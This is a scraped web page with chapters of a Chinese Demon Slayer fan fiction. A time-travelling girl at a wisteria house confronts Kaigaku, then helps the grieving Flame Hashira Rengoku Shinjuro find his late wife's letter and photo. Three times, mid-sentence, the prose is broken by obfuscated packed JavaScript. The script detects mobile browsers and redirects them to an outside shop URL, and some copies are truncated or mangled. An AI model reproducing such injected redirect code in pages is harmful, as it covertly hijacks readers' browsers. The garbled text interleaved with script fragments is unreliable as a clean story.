她坐姿端正地侧身,缓缓推开了身后隔断另一个包间的活板门,冲那边开口:“狯岳君是这么说的哦。” 活板门被打开,另一侧包间里的身影显现,赫然是悲鸣屿行冥! 他盘腿而坐、双手合十,竭力抑制着情绪,额角与手背青筋暴起,佛珠都被捏爆了几颗,碎片散落在榻榻米上。 纵使身形不再瘦削,原本的清俊文静模样也有了变化,可狯岳一眼就认出那是照顾了自己好几年的老师。 狯岳的脸唰一下惨白,嘴巴张张合合说不出话来,半晌一脸惊恐地垂下脑袋,声线颤抖道:“老师……” 藤花月咲来回看着他们,觉得果然强大能震慑人,刚才狯岳面对她时还挺能说的,现在却哑口无言,半句辩驳的话都挤不出来。 不是他不想说,而是被岩柱那连鬼都害怕的气场完全压制住了。 “老师,我……!” 狯岳终于鼓起勇气想要说些什么,活板门“啪”地合上了。 “好啦,到此为止,不管怎样,谢谢你愿意过来一趟,”藤花月咲及时隔开两人,捧起茶杯,“喝完这杯茶,我们就回去吧。” 狯岳不死心地过去推开活板门,但包间里已经空了,窗户没有关紧,从缝隙漏进来丝丝凉气。 他看向喝茶的少女,紧紧皱着眉,“你们是什么人?” “之前说过了,我为产屋敷一族工作,”藤花月咲把活板门关上,免得凉气飘过来,“至于悲鸣屿先生,如今是专职杀鬼的猎鬼人。” 狯岳一时没有再出声了。 藤花月咲好奇地去看他神色,接着垂眸,“我知道你此刻在想什么,你在想,有什么办法能成为猎鬼人。” 她扬起脸,脑后的紫藤花发饰随之摆动,“对吗?” 狯岳瞪着她。 “嗯嗯,‘连一个曾经的死刑犯都能被接纳当上猎鬼人,凭什么我不能加入’,你是这样想的吧,”藤花月咲觉得,对方的表情实在很好懂,“但很遗憾,产屋敷家主已经看到了我的调查书,你大概没有机会了。” 不会有培育师愿意收他作弟子的。 作为一个流浪儿,狯岳深刻地知道他能够出人头地的机会极少极少,哪怕他足够努力、竭尽全力,长大后也可能只够自己温饱。 刚刚,机会近在咫尺,却又在少女的话语中灰飞烟灭。 “可恶!可恶!”他用力捶了墙壁一拳,质问,“只不过是打翻了一次香炉,我哪里有那么罪无可恕?!” 藤花月咲:“不好意思,我也没有立场回答这个问题。况且,这不就是你想要的吗?” “什么?” 她抬起双拳,悬空在同一水平线上,“提问——假如你成为了猎鬼人,某天碰上了很强的鬼,它说要么供出猎鬼人的大本营,要么死。你怎么选择?” “……这只是极端情况而已。”狯岳回避她的视线。 “只要成为猎鬼人,随时都可能碰上你说的‘极端情况’,”藤花月咲敛起笑容,“你知道培养一个猎鬼人需要花费多少人力物力吗?培育师的精力与心血,专用刀剑、队服、一日三餐、药品等等,而这些都是无偿的,所有人都只为斩杀恶鬼这一个目标拼搏。如果有人背叛,不仅这些花费打了水漂,也会动摇整个队伍的精神根基。” “我们不想要叛徒,但也尊重你想要活下去的心情。因此,你未来不必做两难选择了。” 听到这句话,不知怎的,狯岳觉得心底有什么东西忽然断开,逐渐离自己远去,令他僵在原地一动不动。 “钱付过了,你把点心吃完吧,”藤花月咲起身,弯腰出了包间,“再见。” …… 出了茶屋,藤花月咲环顾四周,没有看到悲鸣屿先生的身影。 可一抬头,鎹鸦绝佳就停在屋顶上。 有了乌鸦引路,她很快在城镇和山村的交界附近找到了悲鸣屿行冥。 呃,准确来说,这位岩柱大人又藏在了一棵树后面。 难道他真的觉得自己一直以来都藏得十分隐蔽吗?! 藤花月咲走过去,喊了他一声。 “啊,南无……”悲鸣屿行冥看向她,“多谢了。” “我也没做什么。” 按照她的想法,其实并不希望狯岳和悲鸣屿先生碰面。如果说寺庙那群孩子伤害后者是个误会,那么狯岳的言语无疑是剥开伤口上的血痂,再一次直面血淋淋的事实。 但昨晚写的调查书被主公连夜转交给岩柱,她吃早饭时被叫出去,便看到悲鸣屿先生已经等在门外了。 只好带他去见狯岳。 “香奈惠和小忍过得怎么样?”藤花月咲打听姐妹俩的近况。 “唔,我上次去看望,她们过得还不错……香奈惠想要今年去参加最终选拔。” “才不到一年诶,很快啊!”她惊叹,“实弥也给我写信了,不是乌鸦,是寄来的,说他被带到培育师那边,在练习风之呼吸呢。” 而且也开始学习写字了,就是目前水平跟沙代不相上下。 “沙代的信您看了吧。” “绝佳读给了我听,”鎹鸦听到自己的名字,落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943659|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主人肩头,“还有你的调查书……我目不能视,没有保护好那群孩子,甚至一直误解了他们的行为,实在是……” 藤花月咲坐下靠着树干,感慨,“小孩子总是会冲动行事,而大人偶尔也爱钻牛角尖呀。” 悲鸣屿行冥:? “您想保护孩子们心情,反过来也是一样的,孩子们同样也想保护您,”她托腮道,“我接受主公的委托,可不是想要看到你们到时候互相不停鞠躬道歉的啊。” “悲鸣屿先生没有错,虽然您说自己变得多疑,却没有伤害任何一个人,还保护了很多很多人。我希望等您成为老爷爷、寿终正寝的那一天,能和那些孩子笑着再见面。” 藤花月咲指着自己,厚脸皮道:“我也算小孩子吧,看在我那——么认真调查的份上,悲鸣屿先生,能不能给我一个笑容呢?” “……” 悲鸣屿行冥忍俊不禁,嘴角扬起,揉了揉她的头,“谢谢。” 一阵风吹过,树叶沙沙作响的同时,藤花月咲还察觉到了一些别的声音,凝神去听。 “怎么?” “没什么,”她抓住了一片从树上落下的枯叶,噙着笑意,“他们都在赞同我呢。” —— 这次出外勤结束后,藤花月咲又回到了之前平淡却不寻常的生活。 期间唯一的不同是,她向几个女队员推荐出了改良后的月经带和自制的棉片,以及经过每天针灸练习,从扎自己一个人变为扎她和寿奶奶。 这个时代很多人都有风湿病,寿奶奶的关节风湿就挺严重的,虽然能靠吃水杨酸钠或阿司匹林止痛抗炎,却不能根治,时常复发。 藤花月咲经过许可,给寿奶奶扎了几次针灸,之后反馈说每次扎完腿都热乎乎的,每逢阴雨天腿也没那么酸疼了。 这给了她很大的信心,琢磨着什么时候能给队员们安排上。 到了四月末的一天清晨,天气渐渐暖和起来,藤花月咲去门口信箱拿报纸,发现有人送了几箱东西上门。 她签收后搬进来,一打开,居然是这会儿很珍贵的草莓! 寿奶奶戴上老花眼镜,看了看发件人信息,“应该是从产屋敷的庄园直接送来的,往年也会送农副产品给各地的紫藤花之家。” 就是这回的量有点多。 藤花月咲明白,主公是在感谢她上回调查的事。 真好,她很喜欢吃草莓呢,现在草莓还没开始大规模上市,没什么店铺在卖,而且非常贵。 主公送来的草莓,绝对是最好的! 她开心地把这几天的饭后水果全换成了草莓,队员们好多没吃过草莓的,都很惊喜。 虽然如今的草莓不比后世的改良品种,更小、更酸,可依旧酸甜可口,香味十足。 藤花月咲估摸着气温还在十度左右,又用锅融化了一点糖,把草莓插在竹签上,在锅里滚一滚蘸一蘸,取出来一凉。 草莓糖葫芦! 傍晚,廊檐下坐了一排队员,全是等着吃糖葫芦的。 19.第十九章 等每个队员都拿到一串草莓糖葫芦开始吃,藤花月咲的生产速度慢了下来,有空仔细将竹签上的草莓切出花瓣的形状,裹上糖浆后像真的花瓣那样闪闪发亮。 味道是一样的,但很好看! “好漂亮的花,”队员的嘴唇糊了一层糖和草莓汁水,说句话都觉得香甜,“不过我从没见过这种花耶。” “这是玫瑰,西洋传来的花种,之前去京桥区有在洋花店里看到的,实物更美呢。” 这时的玫瑰似乎还未跟爱情绑定在一起,而是女性气质的象征。藤花月咲等糖壳变硬,就把玫瑰草莓糖葫芦给了寿奶奶。 以如今的气温,糖葫芦化得不快,寿奶奶把竹签插在花瓶里欣赏了好一会儿,晚饭后才慢慢吃掉它。 经过两天的疯狂消耗,草莓却还剩了不少,可没有冰箱保鲜,这种易腐烂的水果压根放不了几天。 藤花月咲头疼,该怎么才能解决这些草莓。 第一个冒出来的点子是制作成果酱。 而果酱最完美的搭配就是吐司。把新鲜出炉的吐司切片,用平底锅稍微烘烤一下,两面就会变得酥脆,涂抹上果酱后简单又美味。 可惜,目前为止她只在市中心看到过售卖面包的商店,平日里基本买不到。 第二个想法则是,泡草莓果酒。 这倒是可行性挺高,原料简单、制作不复杂,果酒的度数低,她跟寿奶奶偶尔小酌一杯也无妨。 说干就干,藤花月咲找出一个罐子,高温焯烫后擦干。 把一小盆草莓洗干净,在盐水里泡一会儿,去掉草莓蒂、晾干水分。 罐子里先铺一层糖打底,再放入草莓和另一半糖,取出她在酒屋打来的烧酒。 这并不是什么品牌,只是普通烧酒,价格比清酒还便宜,度数不高,是很多平民和劳动者普遍会选择的酒类,这一瓶两升要30钱。 她把整整一瓶都咕咚咕咚倒入罐子,盖好密封,搬到柜子里避光保存,过上半个多月就能喝啦。 酒很快泡好了,藤花月咲却喝不了。 因为,13岁的藤花月咲终于进入了迟来的生长期。 作为女生,她的生长期和初潮其实比很多同龄人要晚,并且来势汹汹,一年能长高十厘米以上,几乎转眼间个头便蹿了上去。 直到来月经后,这种趋势才会慢下来。 穿越前她的身高定格在一米七,穿越后其实吃得不算差,最终身高应该是一致。 能长高的确是件好事,可短时间内身体的迅速生长仍然带来了些许不适。 比如小腿肌肉时常酸麻、膝盖后方会突然疼痛,以及夜间睡觉时会猝不及防地被小腿抽筋疼醒。 为了不惊动寿奶奶,她都是咬紧牙关、在被窝里使劲绷直了小腿,才能令抽筋症状逐渐缓解。 不过寿奶奶貌似还是发现了。 在藤花月咲白天努力按摩和拉伸肌肉时,有天去取晨间报纸,忽然看到信箱旁多了一个木头钉的牛乳箱,配送员已经往里面投放了一瓶牛奶。 这是给她订的,每天喝一瓶,一个月2日元。 没办法,受限于时代,这会儿也只能靠喝牛奶来补充钙质了。 藤花月咲去问过药局,此时还没系统性售卖钙片这种营养保健品。类似的药物或许有,但那全是处方药,只有得了佝偻病这样的疾病,去大医院才能开出来。 她放弃了嚼钙片的想法,每天把牛奶一饮而尽,有空就多晒太阳,果然夜间抽筋的状况减少了一些。 这种情况下,当然不能喝草莓果酒啦。 幸好只要储存得当,这酒能放一年左右,之后总有机会的。 —— 一天,藤花月咲吃完早饭正在喝牛奶,就见寿奶奶闪现进来。 “炎柱炼狱大人来了,我先去招待。”让她慢慢喝完牛奶再过去,不要呛到。 除了悲鸣屿先生之外,藤花月咲是第一次接触鬼杀队的其他柱,赶紧几口喝完牛奶,收拾了一番后前去帮忙。 她动作已经很快了,但依旧没看到炎柱的正脸,因为—— “别来打扰我睡觉。” 炼狱槙寿郎的语气带着浓浓的疲惫与不耐,只是余光瞥到主人家是老人和小女孩,才勉强收敛了点脾气。 话音未落,一个空酒罐子被随手甩到屋外,藤花月咲眼疾手快,连忙伸臂接住了,避免惨案发生。 “把酒灌满。” “啪”一下,门关上了。 从头到尾,这位炎柱大人留给藤花月咲的就只有一个背影,和飘散来的重重酒气,很难不让人下意识屏息皱眉。 不过,那件火焰图纹的羽织和黄红相间的特殊发色,好眼熟啊。 她的记忆力很好,何况如此显眼的记忆点。 下一瞬就记起,她应该是在产屋敷家神社的神乐表演上见过。那些表演者都覆着薄纱看不清样貌,可头发是露在外面的,其中就有一位相同发色的舞者,身披火焰羽织也叫人印象深刻。 她上大学前这一流派的舞者身形一直是成年人,后来便换成了同比例缩小的少年,发色依旧一模一样,任谁看都是父子,显性基因超级强。 藤花月咲小时候很喜欢看黄红发色的表演者跳神乐,能让她想到除夕荞麦面里美味的炸虾。 如今一碰面,炸虾先生们的祖先脾气不太好的样子啊。 她抱着酒罐,看向寿奶奶。后者叹息一声,“去吧。” 藤花月咲先把酒罐洗刷了一遍,边刷边在心底嘀咕,这位炎柱难道是喝着酒去杀鬼的? 他喝完酒脚步不会发飘、手腕不会颤抖吗? 唔……或许是一种独特的呼吸法?毕竟电影里都能演醉拳,醉刀也不是不可能。 ……不不不,那也太离谱了! 藤花月咲很想说服自己,可从对方的行为来看,酒精并不是为了给刀法上buff,单纯是借酒消愁罢了。 不是说鬼杀队的队律很严么? 把酒罐倒扣晾干,她没按捺住好奇,去向寿奶奶打听了炎柱的事。 原来炎之呼吸是以家族的形式代代相传,并且鬼杀队每一代中,都必有水之呼吸和炎之呼吸的剑士成为柱,传承相当久远。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952305|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这一任炎柱,炼狱槙寿郎大人,曾是位强大且有责任心的剑士,”寿奶奶手上做着针线活,慢吞吞说着,语气遗憾又惋惜,“自从他的夫人去世后,他便深受打击,变得……” 变成了什么样,藤花月咲方才已经看到了。 “这样啊……”她不由得有些同情。这种情况最好是亲人去安慰开导,外人帮不上什么忙。 “他们夫妇感情肯定很好,真想知道他夫人生前的风姿,一定是位十分美好的女性。” …… 话不能乱说。 这句话深刻地体现在了藤花月咲身上。 她白天只是随口感叹了一句,老天爷就迫不及待地在梦里应验了。 眼前的女性正座,五官柔和而又美丽,可浑身透露着沉稳坚毅的气质,令她眉眼中多了几分英气。 她微微行礼,“打扰了。” “不打扰不打扰,”藤花月咲俯身回礼,自言自语,“反正也不是第一次了……” 炼狱瑠火:“槙寿郎给各位添麻烦了。” 她说,自己病逝时丈夫正在外做任务,回来后连妻子最后一面都没见上,一直无法接受。 看着丈夫被困在了那时,一点点消沉下去,放弃了对孩子的教导和照顾,她却什么都做不了。 藤花月咲能理解。要是某天她回到家,发现连至亲之人最后一面都没见上,她都不敢想自己会是哪种心情。 “我当年写了一封遗书,本想亲自交给他,可未能来得及写完,”炼狱瑠火垂眸,“在我生命即将逝去的那段时间,他因为任务不能时常在家,都是两个孩子陪伴我,但他们也不知道遗书的存在。” 在那些个因病痛无法入眠的夜晚,她看着身边熟睡的孩子们,一字一句写下的书信。 炼狱瑠火并不认为自己是个话多的人,可一旦动笔,就有无数言语不断从心里冒出来,生根发芽。 世间的思念与牵挂,怎么会是一封信能写完的呢? 她能平静地面对死亡来临,可这封遗书,她删删改改,始终没有完成。 “那,未完成的遗书放在哪里?”藤花月咲问出了重点。 “放在……” 炼狱瑠火刚开口,一阵剧烈的酸痛袭来,猛然将藤花月咲拉出梦境,天旋地转,大脑一片眩晕。 随即她条件反射地弓起身体,绷直双腿,抵抗那种能疼出生理性泪水的酸胀感。 可恶的小腿抽筋! 差一点就问出遗书在哪儿了啊! 藤花月咲试图再次入睡请来炼狱夫人。 然后,她一个回笼觉美美地睡到了日上三竿,无梦。 寿奶奶非常贴心地没有叫醒她,还欣慰她终于睡了个懒觉。 藤花月咲:…… 没必要在这种事上欣慰啊! 糟糕,炎柱很可能只是路过小住一晚,万一走了就不回来怎么办? ……写信让鎹鸦送过去,他会看吗? 思来想去,藤花月咲想出了一个损招。 她的视线缓缓看向封印在柜子里的草莓果酒…… 20.第二十章 由于宿醉,或者是压根毫无动力出门,炼狱槙寿郎在屋内睡了一天半,期间除了放在门口的碗盘变空,完全没有见到这位炎柱大人的身影。 直到第二天下午,鎹鸦催促他去做任务,这才不情不愿地爬起来。 宿醉导致的头疼令他浑身布满消散不去的低气压,整张脸臭地不行,红黄相间的头发全都炸开。 瞧着更像炸虾了。 藤花月咲在走廊一拐角,撞见了有起床气的炎柱,脚步微不可见地顿了顿,神色如常地上前。 “膳食已经准备好了,炼狱大人用完再走吧。” “……啧,酒拿来,现在、马上。”炼狱槙寿郎捂着脑袋,胡子拉碴,身上的队服和羽织松垮又皱巴巴的,日轮刀随意地别在腰间。 藤花月咲点头,快步去取酒罐,暗自想炎柱的脸色着实不太好看。 不光是表情的缘故,还有郁结于心、饮食不规律、酗酒造成的皮肤暗沉和黑眼圈,肝劳症状很明显。 以及……尽管藤花月咲对相面占卜一窍不通,也感觉对方面色隐隐发黑。 难不成这就是传说中的印堂发黑? 不过她没感应到什么重大危险,应该只会小倒霉而已。 炎柱没留下吃饭,提上酒罐正要离开,身后传来少女清亮的声音:“炼狱大人,今日出门运势欠佳,请您路上小心。” 这一句突兀的提醒,让炼狱槙寿郎稍稍回头瞥一眼对方,没在意,眉眼低沉着走了。 但很快,这句话便应验了。 好端端走在路上,一侧房屋二楼突然泼下盆水,以炎柱的反应力与身体素质,当即闪避开了,半点没溅到衣角。 他望着二楼道歉的妇人,转身就走。 不一会儿低头一看,草鞋断了,从断面来看并非人为,却全无征兆。 他把草鞋扔了,重新买一双。 傍晚路过集市,想吃街边卖的烤红薯,排队轮到他时,恰好卖完了。 炼狱槙寿郎:“……” 他开始警惕起来了。 最让他感到不可思议的是,凌晨时分他与鬼交锋,要拔.出日轮刀时,竟然在刀鞘里卡住了一下。 虽然仅是短暂的一下下,躲开鬼的攻击后很快便松开拔了出来。对手的鬼不算强,以他的实力来说不足为惧。 可炼狱槙寿郎仍然后背惊出冷汗来。 他很清楚日轮刀卡刀鞘的原因。自己在妻子过世后便颓废下来,觉得一切事物失去了意义,不论做什么都很无聊,当然也荒废了剑技与对日轮刀的保养。 甚至可以说,这把日轮刀能坚持到现在,已经是当初刀匠锻造出来就为刀中极品的功劳了。 然而,为什么恰好是今天、方才,它卡住了? 天谴?炼狱家先辈们的警示? 因为他这几年一蹶不振,让炎柱的称号声名狼藉? 如果真有天谴,为何老天将妻子从他和孩子们的身边夺走,却让恶鬼逍遥自在地游荡人间?! 炼狱槙寿郎双目燃起烈焰,把鬼逼到角落,单臂挥刀一次又一次砍断鬼的手脚身体,发泄心中的愤慨与怒火。 蓦地,他想到了紫藤花之家那位少女的话,运势欠佳? 妻子离世的那刻起,他就陷入一种诅咒,再没觉得运气好过了。 刀尖垂地,炼狱槙寿郎看着眼前的鬼支离破碎地缩在角落,手脚再生的速度很慢,只能颤抖地承受攻击,忽然觉得没有意思。 好累,不想继续下去了。 他回身要走,如同往常那样举起酒罐往嘴里灌了一大口酒。 动作一顿。 “噗——!” 炼狱槙寿郎把酒全喷了出来,边咳嗽边瞪大双眼,难以置信自己刚才喝到了什么。 哪怕有微乎其微的酒味,也不能掩盖那股水果的清香和有些发腻的甜味,甚至酒液都是粉红色的! 紫藤花之家的人,居然拿这种古怪的酒来糊弄他么?! 角落里,被炎柱逼得抱头鼠窜的鬼终于有了一丝喘息的机会,眼看对方没有立刻斩下他头颅的意思,等到男人转身离开,剧烈的求生欲让它迫切再生出短小的肢体,试图爬着逃离带给它恐惧与阴影的强大人类。 爬了几下——“咻”。 在它还没反应过来时,脑袋已经在地上滚了好几圈。 鬼的头颅还未落地,炼狱槙寿郎已然收刀,额角的青筋一跳一跳。 是么?好啊,连紫藤花之家的人都不把他当回事了。 他让鎹鸦引路回去。 他的鎹鸦飞着飞着,不免担心。 ……要是藤花少女被赶走了,还能吃到新鲜的青梅吗? —— 一夜过去,藤花月咲这回终于从炼狱瑠火那儿问出了存放遗书的位置,打着哈欠给紫藤花树上的鸟屋添水和青梅。 最近青梅大量上市,价格挺便宜的,她拉着小板车买了许多回来,打算和寿奶奶共同腌制接下来一整年的梅干。 梅干可以包饭团、作小菜和调味料,每到这个季节家庭主妇们都会跟约好了似的集体采购,紫藤花之家自然不能落后。 腌制好梅干后,藤花月咲思及炎柱的身体,又熬制了一剂主治肝劳的猪膏酒。 微火煎猪油和姜汁,倒入米酒熬煮,灌进葫芦里。 藤花月咲搓手,想着反正全是酒,炎柱大人不喜欢草莓酒的话,就把猪膏酒换过去。 她对炼狱先生没有太多喜恶情感,但很喜欢瑠火夫人,在梦里跟对方谈话能察觉出,这位夫人也许才是支撑炼狱家三名男性的中心。 威严而又温柔,有稳定且强大的内核,正义感十足。 藤花月咲认为炼狱槙寿郎先生肯定追了很久,才能娶到这样的妻子。 如果瑠火夫人没有病逝,真想和她坐下来好好喝茶聊天呢。 而此时此刻,炼狱槙寿郎也回到了紫藤花之家门外,却没有进去。 半晚上的赶路令他的头脑逐渐冷静下来,不由扶额,这是在干什么? 跟一个和杏寿郎年纪仿佛的少女计较这些有什么用,倒更像是迁怒。 再说了,如今的炎柱确实无法叫人发自内心尊敬,不是么。 炼狱槙寿郎不愿久留,只不过他的鎹鸦出卖了行踪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955206|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他站在门口纠结的时候,鎹鸦早就从围墙上方飞进去,停在了紫藤花树上,叼起一颗青梅开心地吃着。 这两天没有其他队员入住,这孤零零的干饭鸦便尤其突出了,扫地的藤花月咲一眼认出这是谁的鎹鸦。 “怎么只有你,炎柱大人呢?” 鎹鸦翘起一只脚,指向墙外。 炼狱槙寿郎走了几步,身后倏然有人小跑追来,“炼狱大人!” 回头一看,是紫藤花之家的少女。 藤花月咲没想到这个损招竟然真的奏效,尽管她冒着被炎柱投诉的风险,可她更担忧对方不来。 她把葫芦塞到炼狱槙寿郎手里,“耽误您时间了,这个是有人拜托我给您的。” “?” “还有,在您家茶室入门第三块榻榻米下面的暗格里,那人说有留给您的东西。” 不等对方拒绝,藤花月咲跑回宅邸,从门缝暗中观察。 炎柱原地站了片刻,满脸疑惑加不知所谓地走了。 万一他不当回事怎么办? 想到瑠火夫人的请求,藤花月咲在庭院转了好几圈,最终目光落在了紫藤花树上干饭的鎹鸦。 —— 完成任务的炼狱槙寿郎回到宅邸,果然没将少女的话放在心上。 他把那罐古怪的酒扔给大儿子,自己去打了酒回来,躺在房间里又喝得酩酊大醉。 炼狱杏寿郎见状,并未说什么,而是先把弟弟千寿郎哄睡,然后在庭院里边回忆父亲曾经的教导,边练习挥木剑。 深夜,鎹鸦向主公报告完任务飞回来,看到男人满身酒气,倒在地上烂醉,蹦跳上前去啄对方的脑门。 炼狱槙寿郎睡梦中大手一挥,差点把鎹鸦打飞。 “茶屋第三块榻榻米!茶屋第三块榻榻米!” “吵死了!”又一掌过去,鎹鸦掉了几根羽毛,飞到窗外的树上坚持不懈地叫着。 男人睡死了过去,浑然未觉。 庭院里,炼狱杏寿郎训练得满头大汗,被叫声吸引了注意力,轻轻走过去听了会儿,暗想难道是其他队员需要家里的某样东西吗? 循着鎹鸦说的内容,他在茶屋第三块榻榻米下的暗格里找到一个信封。 正想交给鎹鸦,未糊住的信封口飘落一小张纸片。 炼狱杏寿郎捡起纸片,发现是张相片,翻过来,金红色瞳孔猛地一缩。 …… 又是宿醉,炼狱槙寿郎迷迷糊糊醒来,完全不知道已经什么时候,外面倒还是白天。 昨晚没有铺被褥,但身上有杏寿郎给盖的被子。 他沉默了半晌,正要掀开被子,视线捕捉到被子上有一张相片。 烦躁地随手捡起来,漫不经心地一看。 瞳孔地震。 炼狱家宅邸的庭院里有一棵樱花树,当年他与瑠火结为夫妇时种下的种子。而樱花树从种子到幼苗再到开花,通常需要10至15年。 在这棵樱花树初次开花的那一年,瑠火病逝了。 这张相片,正是瑠火坐在绽开纷落的樱花下,穿过时空与死亡界线,再次冲他露出浅笑。 21.第二十一章 炼狱槙寿郎捏着妻子的相片,一时忘记了呼吸。 指尖无自觉用力,微微压皱了相片,皱起的纹路宛如樱花树的枝干,在妻子的和服下摆蔓延伸展。 他这才如梦初醒,手忙脚乱地抚平相片,生怕一个使劲儿就弄坏了脆弱的小纸片。 这是哪儿来的,总不会是在做梦吧? 受到的冲击太大,炼狱槙寿郎摇晃着站起来,精神恍惚地走向屋外。 庭院樱花树下,长子杏寿郎正在教导次子千寿郎炼狱家的剑术。 “加油千寿郎!再砍一百下就能吃饭了!”杏寿郎一边自己挥刀猛刺假人,一边抽空鼓励身旁的弟弟。 千寿郎身形有些站不稳,木剑快跟他个子差不多高了,但还是努力双手握住剑柄,鼓起腮帮子一下一下砍向假人。 “唔呣,就是这样!” 廊檐门后的阴影里,炼狱槙寿郎目睹这一幕,与瑠火去世前他教导长子的画面重叠在了一起。 他退了半步,身体不可抑制地想要逃离此地,让这些事从自己脑海中滚出去。 炎之呼吸有什么用,既无法彻底消灭鬼,又不能挽留住妻子,若是孩子们踏上了这条路,早晚有一天他们也会被杀死。 ……更重要的是,每次看到这样的场景,他内心深处都会被无地自容的情绪所笼罩,想要赶紧躲得远远的,用酒精来麻痹自己,忘却无穷无尽的痛苦。 他最对不起的,是妻子和孩子。最无法原谅如今自己的,是从前的那个他。 炼狱槙寿郎很明白,可就是、没有勇气面对现实。 炼狱杏寿郎完成今日训练份额,余光一瞥,发现门后翘出了一缕红黄相间的头发。 他快步走来一探脑袋,果然,“父亲!” 被长子当场抓包,炼狱槙寿郎不自在地移开目光,假装只是路过罢了。 “父亲饿了嘛!等一会儿就做晚饭……啊,那张相片!”杏寿郎捕捉到了对方手里捏着的相片。 炼狱槙寿郎一怔,听他的语气,“你知道这张相片是哪儿来的?” 长子歪头,“就收在茶室第三块榻榻米下面的空格里!昨晚您的鎹鸦一直在叫,我未经许可擅自取出来了,十分抱歉!” 他仰头道歉,表情和语气倒是堂堂正正。 “因为有母亲的相片,我猜想也许是您的东西!”杏寿郎从里衣内袋取出信封,“这是和相片一起的!” 关于信封里的内容,他觉得可能是别人的隐私,私自窥探不太好。 但那张意外飘落的母亲相片,昨晚他独自凝视了很久很久,不断在心中提醒自己是长子,勉强没让眼泪不争气地落下。 早晨又给千寿郎看了看母亲的样子,才小心翼翼放到父亲手边。 鎹鸦! 炼狱槙寿郎知道肯定是紫藤花之家的少女收买了鎹鸦,让它整晚都在他耳边叽叽喳喳吵个不停。 却没想过那并非是一句戏弄。 他夺过信封,颤抖着抽.出信纸,一目十行地读起来,却又怕漏掉哪些内容。 ——是瑠火的字迹! 即便没有刚结婚时有力,应该是在病重时写下的,可他仍然一眼认了出来。 瑠火在信里写道,生命最后的时间里,她总想为父子三人留下些什么,便请求了主公。 产屋敷族中有于海外购置的箱型相机,拜托了隐部队里会摄像的人才。 在那个天气逐渐转暖的春天午后,孩子们在屋内熟睡时,她拖着病体起身,留下了这张相片。 “……本想在茶室,可等到当天,院子那棵樱花树开花了,怎么都不愿错过,就换了地方。或许是我的期望被上天听见了,能完成心愿,已然满足。” “槙寿郎,帮助弱者,是天生强者的职责。身为妻子,在你许久未归时,我心中也有彷徨。身为母亲,想到我的孩子们未来会受到伤害,当然不免恐惧。” “但是,这些在你我结为夫妇时就已经想好,始终未变。每当想到你们是为了保护更多人免遭劫难,能过上普通人应有的生活,我就为你们感到骄傲与欣慰。” “不要熄灭胸中火焰,要成为鬼之炼狱。” “杏寿郎和千寿郎就交给你了,很抱歉无法陪伴他们长大。槙寿郎先生,很抱歉没能践行百年之约。” “等来世,希望我们仍能认出彼此,结为夫妇,我……” 越到后面,字迹便越发无力,信纸最后像是没能写完,草草结尾。 炼狱槙寿郎双手紧紧攥着信纸,早已泣不成声。 瑠火,看到现在的我,你一定很失望吧? 这样的我不配做杏寿郎和千寿郎的父亲,也没脸在来世与你再会。 炼狱杏寿郎站在一旁略显无措,自母亲去世后,他还是第一次看到父亲哭得如此不顾形象——虽然平时烂醉的样子也没什么形象可言。 “父亲您是太饿了吗?!”他抄起袖子,“我和千寿郎马上就去做饭!” 听到“做饭”这个关键词,炼狱槙寿郎猛地抬头,“——那个紫藤花之家的小姑娘!” 随即连鞋都没顾得上穿,就这么光着脚狂奔出门。 杏寿郎望着他远去,张大嘴巴,诧异极了。 “哥哥……”千寿郎怯怯地探头,其实他并不是才挥完剑,但因为听到了父亲的声音,害怕看到父亲又在斥责哥哥,“父亲人呢?” 杏寿郎也不太清楚发生了什么,眨眼想了想。 “唔呣,大概是想吃哪户紫藤花之家做的饭菜了!好想也去尝一尝!”他斗志满满,“千寿郎,我们也要努力做出好吃的饭!” 尽管千寿郎不觉得父亲会因为一顿饭那么激动,可既然哥哥这么说了,便跟着点点头,“好!” —— 紫藤花之家。 藤花月咲一整天都惦记着瑠火夫人的遗书有没有被看到,不过临近傍晚时暂时收了收,因为有猎鬼人来了。 而且是熟人! “锖兔、义勇!”她打开门,惊喜出声,“你们在附近做任务吗?” “已经做完任务了,刚好路过,”锖兔笑道,忽然后退一步打量她,“你长高了好多。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 